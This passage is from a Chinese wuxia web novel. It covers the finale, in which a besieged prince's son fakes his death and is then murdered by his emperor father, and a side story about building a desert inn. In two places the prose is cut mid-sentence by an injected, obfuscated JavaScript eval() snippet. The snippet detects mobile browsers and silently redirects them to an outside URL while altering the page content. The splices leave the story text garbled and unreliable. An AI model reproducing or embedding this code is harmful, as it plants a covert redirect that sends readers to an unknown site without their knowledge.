“魏夫人,如今仇人都已去,你不必对我心怀愧疚。”鸥拂尘还想再推辞,可是看魏夫人和晨药师一左一右坚持,也就暂且将药丸收下。 “这瓶都给你。”晨药师巴巴儿递上前,“回头我再给你写个药方,你照着服用调理身子,如果药不够,可以随时……” “好像……有点不对劲。” 那边郝长老眉头微皱,嗅到一丝不正常的气息,他问蓉小乞,“小祈,方才进来的时候,其他部的兄弟们落下我们多远?” 蓉小乞想了想:“咱们脚程快,可也不过在他们前面一刻。” “一刻——”郝长老心下一惊,趁众人不注意,悄悄绕到墙边,从窗户翻了出去,到了外面的回廊上。 眼前的情景,让他差点站不稳。 前殿在山谷中央的位置,但却在整个药王谷建筑群的制高点,向下可以俯瞰谷内所有建筑。 此刻谷内的所有房顶、地面上,已经被士兵占得满满当当,他们身上玄铁色的铠甲在阳光下反射着肃杀的冷光,目之所及,还有几十辆投石车和两门大炮,已经对准了前殿的方向。 他立刻冲回殿内,视线扫过殿内每个人。 果然。 张一剑也察觉到不对,立刻环视一周。 “糟了,九王爷不见了。” 就在他们说话的说话、上药的上药的空档里,九王爷已经悄无声息地离开了前殿。 “你们看外面。” 众人纷纷走出前殿,皆被眼前的情形震慑得倒吸一口凉气。 九王爷已经被护送到了前殿下方的一处平台,他坐在龙辇上,此刻正被里三层外三层的盾牌重重保护在当中。 “陛下还真的看得起我药王谷。”晨药师自言自语一句,上前站在众人的最前面。 “狗皇帝!”郝长老上前一步,冲着下面大喊道,“我们刚帮你在边境击溃敌军,你就用大炮对着我们,你就不怕百姓耻笑你这个皇帝忘恩负义吗!” 正说着,突然一道利箭破空的声音,一只鸽子被打落在回廊上。 大神探脸色铁青地走上前将鸽子捡起——这正是他养的信鸽,方才刚放出手,就被人射了下来。 药王谷被包围得铁桶一般,想必在后面的丐帮弟子也已经被悉数挡在了山谷外,想要送信号出去都难如登天。 “郝长老,若今日我们都死在这里,恐怕百姓也不知道发生了什么,到时候若是九王爷再编一段瞎话出去,说咱们是因为天灾死在这里,外面的人也很难查证。”大神探叹了口气,“就算数十年后咱们的尸骨被翻出来,今日之事昭告天下,风云变幻时移世易,朝堂和江湖都已经变了样,恐怕也只是被当成一段往事,留在说书人的嘴里罢了。” “张掌门,何老板,晨少谷主。”郝长老看向三人,“朝堂和武林终有一战,我们都做好了准备,只是就这样死在大炮下,兄弟们难免憋屈,您三位只要下令,大家愿意冲一回,宁死也不会屈服朝廷!” “没错!”众人附和道。 张一剑看了一圈。 此次来吊唁魏谷主的,都是各门派响当当的英雄,有少年侠客,也有武林前辈,他们如今站在这殿前,无不是挺直了脊梁,手握武器义愤填膺,做好了宁死也不做朝廷鹰犬的准备。 既如此,那么就…… 张一剑刚想开口,只见身侧突然一人走上前。 他步伐沉稳,一步步顺着阶梯向下走。 走到平台处,他背对着殿前众人,面对着龙辇上的九王爷,一撩下摆,跪了下来。 “儿臣有罪,请恕儿臣不孝。” 他弯下腰,额头重重地磕在大理石地面上。 原本以为,除了去年参加过武林大会的几个人之外,没有人知道何小宝的真实身份。 但事实证明,好像只有他们是去年才知道的。 因为当何小宝跪在殿前,自数不孝的时候,张一剑悄悄观察了一圈周围人的表情,他们有冷漠、平静,也有担心、不舍,有的前辈长叹一口气,垂下眼眸不忍再看。 是啊,谁能在朝廷的眼皮子底下明目张胆地将沙漠里唯一的官家驿站改成自己的私家庭院,又有谁能把丝绸之路上的银器、瓷瓶和香料堂而皇之地扣下来,还摆在最显眼的位置? 虽然在沙漠里生活了快十年,但那举手投足的矜贵,和聊天时候不经意间透露出的对宫廷的了解,敏感的江湖人士很容易就能察觉到他非同一般的身份。 何小宝自以为是的天衣无缝,无非只是大家在经过长时间的观察与接触之后,保持的一种无声的默契。 这种默契是一种夹杂着信任与警惕的复杂感情,一方面他们敬佩何小宝,尊重他,知道他一路走来靠的是自己的赤手空拳,给沙漠打出了一片绿洲,另一方面他们也在提防,可他们防的不是何小宝,而是今天这种情况——人的出身血脉由不得自己,甚至连“放弃”都不能自己做决定。 “父皇。” 何小宝的额头贴在冰冷的台面上,起身的时候放眼望去,无数箭头指向自己。 “儿臣一无军功,二无用于社稷,多年也不在您身前为您分忧,实乃不忠不孝之人,儿臣自觉愧对芒国的列祖列宗,愧对您对我的期望。” 何小宝望向龙辇上的人,那人端坐在重重盾牌的后面,只露出一双眼睛在纱帐后面,可何小宝偏偏能穿过盾牌和纱帐,看到那双眼睛里流动着的血脉。 那是和他一样的血脉。 这份血脉,自他出生就流动在他的身体里,他的身份,是永远去不了的烙印。 因着这份血脉,他放弃了宫廷的生活,来到沙漠里,咬牙坚持打拼十年只为给父皇一个稳定的沙漠环境;也是因着这份血脉,他在野店建立了属于自己的王朝,不管他自己承不承认,这个隐形的权力巅峰,已经被他稳稳站住。 沙漠的势力,江湖的人脉,这些他引以为傲的东西,却渐渐随着九王爷野心的膨胀而变成了他的催命符。 何小宝其实早就察觉到了,父亲看自己的眼神已经越来越不纯粹。 他用了很多种方法展示自己的真心,甚至愿意永远关闭野店远离江湖和朝堂,但没有办法。九王爷自己弑父杀兄,便觉得这份心思也会遗传给自己最骄傲的儿子。 于是他登上皇位的消息传来,何小宝便知道,自己的父亲已经成为了一位真正的孤家寡人。 还是这份血脉,无需多言语。 九王爷微微抬手,那些对准何小宝的箭头便悉数放下。 身为一个帝王,他顾忌的不是野店庞大的势力,而是使这股势力掌握在自己的亲生儿子手中。身为人子,为了帝位算计周围的所有人,父子亲情、兄友弟恭全都抛诸脑后,这是他自己,也是他忌惮的,会在将来再次发生的。 包围药王谷的士兵一圈圈撤走,何小宝看在眼里,遂重重地又一个头磕了下去。 “儿臣希望父皇江山稳固,芒国国富民强,百姓安居乐业。” 一滴血滴在地板上,发出“啪嗒”的声响,随后越来越多的血滴在地上,汇成一小滩暗红色的血池。 “孤答应你。” “他想做什么?” 空气中充满了悲悯的气息,蓉小乞察觉到不对劲,连忙问一旁的张一剑,“他想做什么?” 张一剑则是看向一边的晨药师,问:“药是你给的?” 晨药师眨了眨眼。 蓉小乞看着两人之间的互动,明白了什么,但当她真的看到何小宝就这么倒在平台上的时候,她还是控制不住自己,第一个冲了下去。 与此同时,一只白鸽从大殿的窗口飞了出去,在众目睽睽之下拍着翅膀,掠过山下的军队,消失在天际。 九王爷早就有安排,手下的士兵也第一时间将何小宝的尸首团团围住,然后身边的侍从上前,将何小宝抬起来。 “假死”的事,他不会允许发生第二次。 看着九王爷带走何小宝,蓉小乞心急如焚。 她知道自己不能表现得太明显,就一直强忍着。 “何店主是为了江湖和朝廷的安定才选择牺牲自己,他说,这是他的责任,他愿意一力承担,希望大家不要为他报仇。”张一剑拿出何小宝事先准备好的信件,给每个门派的代表都送了一份,“这里有书信一封,还烦请各位回去之后交给各位掌门,何店主说,能和诸位成为朋友,和大家有机会在野店把酒言欢一场,已是十分幸运。” “唉。”大家接过信,不免有些感慨,“其实我们早知道何店主的身份,但也没想到他会为了保住我们而和朝廷决裂。” 对于何小宝的死,大家的情绪都颇为复杂。 一方面他是皇亲国戚,以野店作为遮掩这么多年为朝廷输送情报,还间接害死了玄青岛岛主,凡此种种,都是江湖各门派所不齿的行为;可另一方面,这么多年来野店的存在也庇护了不少江湖侠士不被朝廷狗官迫害,何店主作为中间人,也化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437198|141479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解了不少门派之间的积怨,他乐善好施,为人宽和,这些也都被大家看在眼里。 他死了,在场众人的心中只有惆怅,不知是该感慨,还是该感激。 虽做好了必死的准备,但终究还是活了下来。 “朝廷和武林并不是势同水火,何店主只是做了权力的牺牲品……张帮主放心,只要我们武林团结一心,他日若是这狗皇帝鱼肉百姓,我们各门派定当为了芒国而战,义不容辞。” “多谢各位。” 蓉小乞一直忍着,忍到张一剑将各门派的人都送下山,殿内只剩下她、张一剑、大神探、晨药师、魏夫人、鸥拂尘几人,这才开口追问。 “九王爷带走了小宝的身体,你们到底有什么安排?”蓉眉头紧皱,“他们会不会一出去就把小宝扔山底下吧?或者出去就补刀,把他剁碎了喂狗什么的——” “放心吧。”大神探拍了拍她的肩膀,“刚才上来抬‘尸体’的那些都是七扇门的人,我事先已经安排好了。” “我的药并不会让他全无知觉,而且我们还给他准备了一些药粉和暗器,就算遇到突发情况,他也可以自己逃生。”晨药师补充道。 听到这些,蓉小乞稍稍安心了些:“幸亏这个九王爷也算是守信誉的人,否则我们这些人今天恐怕都得交代在这儿。” “九王爷的目标一开始就是何小宝,根本不是我们。”张一剑冷笑一声,“他这个人,自己弑父杀兄,就害怕自己儿子未来也这样抢了自己的皇位。他今天让大军包围这里,也不过是展示一下自己的实力,告诉我们只要他想,我们这些人武功再高也逃不过他的手掌心。” “帝王之术,真是可怕。”蓉小乞叹了口气,“生在皇家,真是小宝的不幸。” “掌门,最新的战报来了!” 门外有山海派的弟子一路小跑进来。 “战报?”张一剑纳闷,“丐帮的人不是都回来了吗?” “难道是敌军犯边?”蓉小乞眉头一皱,“可他们的粮草刚被我们烧了,连将领都被我们活捉了,怎么可能还打回来?” “不是,是湖国!”弟子定了定神,说道,“战报上说,是芒国和南国大军里应外合,已经闪电拿下了湖国,现在战事已经结束,湖国皇帝刚刚发布了退位诏书,今后湖国将一分为二,由南国和芒国分别接管。”说罢连忙将战报送上,“掌门,您看。” 几人对视一眼,张一剑看着苦笑道:“还是被九王爷算计了。” 一边在这里逼死何小宝,一边借他们的手除了边患,还暗中调动军队和南国练手灭了湖国。 “湖国奸臣当道,皇帝昏庸,又和南国打了多年的仗,如果不是丐帮和铁掌帮这么多年守在湖国,恐怕早就被南国吞并。”魏夫人开口解释道,“如今铁掌帮的大弟子在这里参加仪式,而丐帮众人又被紧急集结在了药王谷周围……”她摇了摇头,“论谋算天下,咱们比他差远了。” 她看向晨药师,“当初你父亲也是忌惮他,怕将来出现狡兔死,走狗烹的结果,才这么多年在药王谷布下各种机关,以便应对今天这种情形。只可惜……” 说到父亲,晨突然转头看向母亲身边的椅子,此刻那里空空如也。 “母亲,云烟呢?” 魏夫人扫了一眼空荡荡的椅子:“她啊,刚才和我说,要跟着去看看何小宝,就走了。” “有老仙姑跟着,你更不用担心了。”大神探搭着蓉小乞的肩膀。 “可是她的身体——”晨药师抿了抿唇,担忧地看向窗外,“她走得那么干脆,每次都是这样。” “至少她带走了你给她的药。”魏夫人微微一笑,向大家微微点头,“云烟虽然没有提过什么,但我明白,她做这一切,也不过是想为七毒教讨个公道。晨儿,我想要药王谷众弟子下山历练,免费行医,十年不得回谷,而我也准备将你父亲所有的书稿都整理后,开放给全天下所有的医馆,供他们学习,你意下如何?” 晨药师点点头:“母亲和我想的一样,就按照您说的这样办吧。” 经此一役,魏谷主和药王谷的名声恐怕要一落千丈,与其被世人唾弃,还不如主动弥补。 “你呢?”张一剑问。 “我也打算行医历练,另外,我还打算继续研究寄虫。”晨药师抿抿唇,“给云烟的药也只能勉强撑着她的身体,若是几年之后再无解救之法,恐怕她只有油尽灯枯。” 张一剑点头:“湖国被灭,恐怕江湖上又要掀起波澜,我要尽快赶回山海派处理相关事宜,恐怕也不能在药王谷多逗留。” “这次七扇门的兄弟也是冒着掉脑袋的风险在帮我,我得回去好好谢谢他们。”大神探说,“何小宝有什么情况,我都会随时通知你们。” “多谢。”蓉小乞叹了口气,“这次去丐帮,才知道你们用我的名字给我在丐帮立下多大的威信,这次丐帮为了帮咱们损失惨重,我准备跟着郝帮主一起回去,看看能不能帮丐帮做些什么。” “青山不改,绿水长流。”张一剑抱拳说道,“此次一别,希望我们以后还有聚在一起的机会。” “你四处游历,若是到了哪里遇险,可以随时支会丐帮兄弟。”蓉小乞对晨药师说道。 “可惜野店没了,我以后去哪儿说书呢?”大神探叹了口气。 “实不相瞒,野店的经营权转让书现在就在我这里。”张一剑从怀里掏出一个信封,递给大神探,“不就是想要个舞台吗,给你了。” 大神探接过信封,一脸错愕:“这太贵重了吧?” “驿丞连九品芝麻官都算不上,你这个神探别嫌弃才好。” “那野店随便我改造?” “当然,以后你是主人,你说了算。” “那我……把里面布置成命案现场,让来往的行人假扮神探进来找证据、破案、推理故事,这样也可以?” “是个好想法,哈哈哈哈……” 笑声顺着窗户飘到窗外,一路乘着东风,跟上了九王爷回京的行军队伍。 “陛下。” 随军的臣子递上一封信,“南国的撒太子给您送来的书信,称这次和您合作非常愉快,不日他肃清完南国内部反对势力,就会带着使团来芒国拜访您。” “这个撒太子是个人物,让你在南国的人盯好他。” “是。”臣子犹豫片刻,“陛下,撒太子在信中,提到了世子。” “哦?” “撒太子说,曾经在沙漠中偶遇世子,与世子共事过一段时间,希望下次来到芒国的时候,可以和世子见一面,一叙旧情。” 九王爷冷哼一声:“好啊,那就给他回信,说世子现在一切都好,孤顺利登基,他也已经回归朝堂,等他来芒国,孤一定安排他和世子好好叙叙旧。” “可是——”臣子一皱眉。 “都安排妥当了?” “是,陛下,禁卫已经派人将世子的尸体扔下悬崖,为保完全,分了五个地方扔下。”臣子压低声音,汇报道,“若是南国太子到访,臣不知该如何应付,还请陛下示下。” “他想见,孤答应了,可他若是真来了,未必能见得成。”九王爷微微抬眼,“你明白?” 臣子跪下行礼:“臣知道该怎么做了,臣告退。” 龙辇内只剩下九王爷一个人。 他攥了攥手中的抹额,微微垂眸。 小宝,不要怪父王冷心绝情,怪就怪你生在了帝王家。父王不会和你懦弱的爷爷和无能的叔叔那样,父王会统一中原,站在这片土地的最巅峰。 百年之后的史书上,父王会为你添上一笔。 你既然喜欢江湖,那就在这绿水青山之中长眠吧。 ———————————————————————————— 三年后。 芒国国富兵强,百姓生活安定,因着和周边各个国家交往密切,商业十分发达,百姓们的需求也变得多样了起来。 最近坊间最流行的,是一种叫“剧本杀”的游戏方式。这种游戏方式起源于沙漠中的野店,逐渐风靡整个中原地区。 人们沉迷于这种推理破案的游戏,人人都觉得自己是神探,竟然让民间的犯案率降低了很多。 在蓉帮主的带领下,丐帮成立了打工会堂,会堂承接各种店铺伙计、饭店跑堂等小工的工作,每个人都能上岗,既能赚钱,又能打探消息,丐帮一时间蒸蒸日上,竟然成了大家挤破头都想加入的帮派。 据说打工会堂这个点子是丐帮的一个副帮主提出来的,目前会堂的经营也是由这个副帮主一手包办,但这个副帮主非常神秘,帮内很少有人见过他。 随着魏谷主早些年与甄武林一起残害武林小门派,掠夺门派武功秘籍的恶行传开,药王谷的名声的确一落千丈,可随着药王谷众弟子下山施医赠药,三年里,人们提起要药王谷,也能理性地把魏谷主和药王谷切割开来。“药王谷还是好的,只是前任谷主作恶多端,差点毁了药王谷的百年基业。”——大多数都是这样的评价。 而张一剑带领的山海派和苍鹰派如今已成为江湖上第一和第二大门派,前不久他们刚刚宣布,要和玄青岛联合举办第二届武林大会,丐帮最近也在忙着帮他们四处派发英雄帖,希望广邀武林豪杰参加盛辉。 听说山嵋派谢绝了参会邀请,称近些年没有武功出众的弟子,就不参加了。 不过她们随信送回了一个空药瓶,说是张帮主看到就能明白。 山海之外,完。 7.外传 野店外传 01 沙漠中并不是突然出现了一片绿洲。 大约是十年前,沙漠交通要道的正当中,坐落一家店。 说是“店”,一开始其实就是个官家的驿站。 三间客房,一个大通铺。 驻站的官员五年轮换一次,谁都不喜欢这个只能看见狂风和黄沙的不毛之地,因此来的也净是些没什么家世背景或者犯了错遭到贬斥的小官。 大官不理,小官不顾,泡水的茶叶是用树叶子晒干了冒充的,馒头是杂粮面里掺一点白面,驿站里最多的就是骆驼和马的饲料,客房的油灯也能不点就不点。 反正沙漠里的月亮和星星比油灯可亮多了。 小驿站在这干燥的沙漠中被搜刮着最后一点油水。 直到有一天,如往常一般,上一任官员终于到了告老还乡的年纪,站在驿站的门口,将钥匙交到了一位年轻人的手里。 沙漠的风吹起老官员花白的长发。 “刚入仕不久就来这儿,你算是没什么前途了。”老官员看着年轻人纤瘦的身量和细白的皮肤,拍拍他肩膀,额外把自己的酒壶留给了他,“听我的,在这儿做做小买卖,攒点儿钱,才是最重要的。” 说着,他看着年轻人接过酒壶,在接任书上签下自己的名字。 何小宝。 02 头两个月,这里只有何小宝一个人。 他把驿站打扫干净,在门口摆了三张桌子,重新立了牌子和酒旗。 没有茶叶,索性就直接用白水,白面用来做馒头,杂粮面做面条。 何小宝在后院用砖头圈了一块地想种菜,可是沙漠里的只有沙子,他就费力从外面运了土进来,辛辛苦苦小半年,到了秋天,种出来的土豆和花生差不多大。 他翻了很多农书,把附近的仙人掌都移植到了驿站周围,又拉了几次肚子之后,总算试出几种可以炒着吃。 于是清汤杂粮面升级成了仙人掌杂粮面。 03 很快,冬天要来了。 何小宝又搭了一间存炭火的小屋子,还没等到炭送过来呢,先等到了一个不速之客。 不速之客似乎是从什么地方逃出来的,浑身是伤地倒在炭房门口,嘴里嚷嚷着什么“鬼”什么的,醒来之后直接失忆,只记得自己姓撒。 多半是撞鬼吓傻了吧。 他想。 何小宝给不速之客起名小撒,收拾出了一间客房给他养伤,等伤好了,小撒也没地方去,正赶上驿站的人最近也越来越多,就索性在这里留下,成了个帮忙的。 有小撒的帮忙,何小宝改造驿站的速度又快了一点——当然,只是一点。 因为小撒和他一样,手干干净净,没什么劳动经验,两人一起干活儿,好处就是能搭个伴儿,不至于那么无聊。 冬天沙漠白天温度适宜,夜里虽冷,但好在炭火充足。 两人白天接待来往的旅人,闲下来就随便干干活儿,晚上再一起研究图纸,就这样,冬天过去,迎来了第二年的春天。 04 何小宝用俸禄雇了三个工人,在原本驿站的基础上向外扩了一圈,又建了一个二层小楼。两人搬进了小楼,原来的驿站就腾出来,专门给来往的人住。 何小宝还在院子里弄了个鸽房,虽然没有鸽子,但小米备得挺充足,晚上小撒在房间里,也能听到野鸟翅膀在院子里扑腾的声音。 这年开年,朝廷一号文件下发到了各级官员的手上,说是要振兴边民互市,于是这沙漠官道上人来人往的更多了,从前只是大商号之间运货才走的路,突然多了些小商贩和普通老百姓。 于是何小宝便趁机在驿站的门口也支了几张桌子和几个货架,用来存放他们想要交易的物品,由卖家留下价格,何小宝负责帮他们卖出去,等他们再回来取走货款,中间的差价就归了何小宝。 一来二去,何小宝的小金库迅速膨胀了起来。 叫上小撒考察面试了半个月,最后选中并雇了两个人品稳重、老实可靠的伙计,包吃包住一个月还给5两银子的工钱,将来往交易的工作都交给了这两人。还将原来的露天摊位改成了交易屋,运营模式和当铺差不多,一人收货卖货,一人算账。 同时何小宝和小撒还发展出了固定合作的米面粮油铺和菜店肉铺,每天新鲜的食材通过官道路过驿站的时候,他们就会买下一些。 驿站的伙食有了改善,来往的人更多了,何小宝不得不又雇了厨子和跑堂的,驿站的大厅成了餐馆。 紧跟着不少人反映,驿站太小了,想留宿都没地方,有时候人多了,吃饭都要排队叫号。 自然而然地,何小宝就和小撒两人琢磨起再次扩建驿站的事儿了。 05 两人这次请了城里有名的工匠和画师来设计,最终敲定了三版设计图,这三版就是驿站的三步走战略,按照这个步骤建,虽然那还要扩建两次,但只要在上一版的基础上外扩就可以,能够每次扩建都保证风格统一,还不影响原本的建筑。 说干就干,但沙漠里运送材料不方便,这前前后后的,建了两年才算完工。 06 完工的那天,两人站在大门前,怎么看怎么不对劲。 路过的旅人看到两人,主动上前打招呼。 “兄弟,帮我们看看,这大门有哪儿别扭?” “别扭?”那人只扫了一眼,就抬手指门上,“这缺个写着府名的牌匾。” 是啊,这么好看的院子,总不能继续叫驿站吧。 07 何小宝又开始翻书,翻了好几天也想不出一个完美的。 “这沙漠里来来往往的都是老百姓,你那些掉书袋的名字给园林还行,在沙漠里,不合适。” 小撒跷着二郎腿,嘴里“咔嚓咔嚓”嗑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阡陌交通,鸡犬相闻,复行数十步,又有假山流水,花园亭廊,文人墨客可以在这里抚琴吟诗,侠客剑士可以在前厅擂台切磋比试。地窖里有酿好的美酒,何小宝大部分时间都在这里,经常也拎着酒壶在野店内四处转转,聊得高兴了,就给人免单送礼。 一来二去,这野店倒成为了这沙漠中的热门打卡地。 何小宝专门请了画师坐镇,给来往旅人绘制画片,贴在野店正厅的墙上。 画片最常见到的是两位店主的身影。 只是可惜的是,野店的二当家不知为何离开了野店,如同那年突然出现,倒在炭房门口一般,小撒就这么不知原因的,突然消失了。 在他来到野店第六年的冬天。 11 于是往后的画片上再也没有了他的身影。